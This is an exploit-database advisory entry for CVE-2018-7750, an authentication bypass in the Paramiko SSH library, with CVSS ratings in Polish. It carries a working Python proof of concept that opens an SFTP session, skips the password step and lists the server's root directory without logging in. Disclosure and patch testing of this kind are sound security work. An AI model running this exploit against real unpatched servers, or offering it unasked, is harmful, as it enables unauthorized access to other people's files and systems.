Paramiko 2.4.1 Authentication Bypass

2018.10.29
Credit: Adam Brown
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: Paramiko 2.4.1 - Authentication Bypass # Date: 2018-10-27 # Exploit Author: Adam Brown # Vendor Homepage: https://www.paramiko.org # Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2 # Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1 # Tested on: Multiple # CVE : CVE-2018-7750 # This PoC is based on discussions found at the following github issue: # https://github.com/paramiko/paramiko/issues/1175 # TLDR, Paramiko doesn't check if the client has completed the authentication step # before allowing the client to open channels. The PoC below connects to an SFTP # server, and lists the root directory without authenticating. Slight modification # is required if you want to open an SSH channel. #!/usr/bin/python import paramiko host = '127.0.0.1' port = 22 trans = paramiko.Transport((host, port)) trans.start_client() # If the call below is skipped, no username or password is required. # trans.auth_password('username', 'password') sftp = paramiko.SFTPClient.from_transport(trans) print(sftp.listdir('/')) sftp.close()


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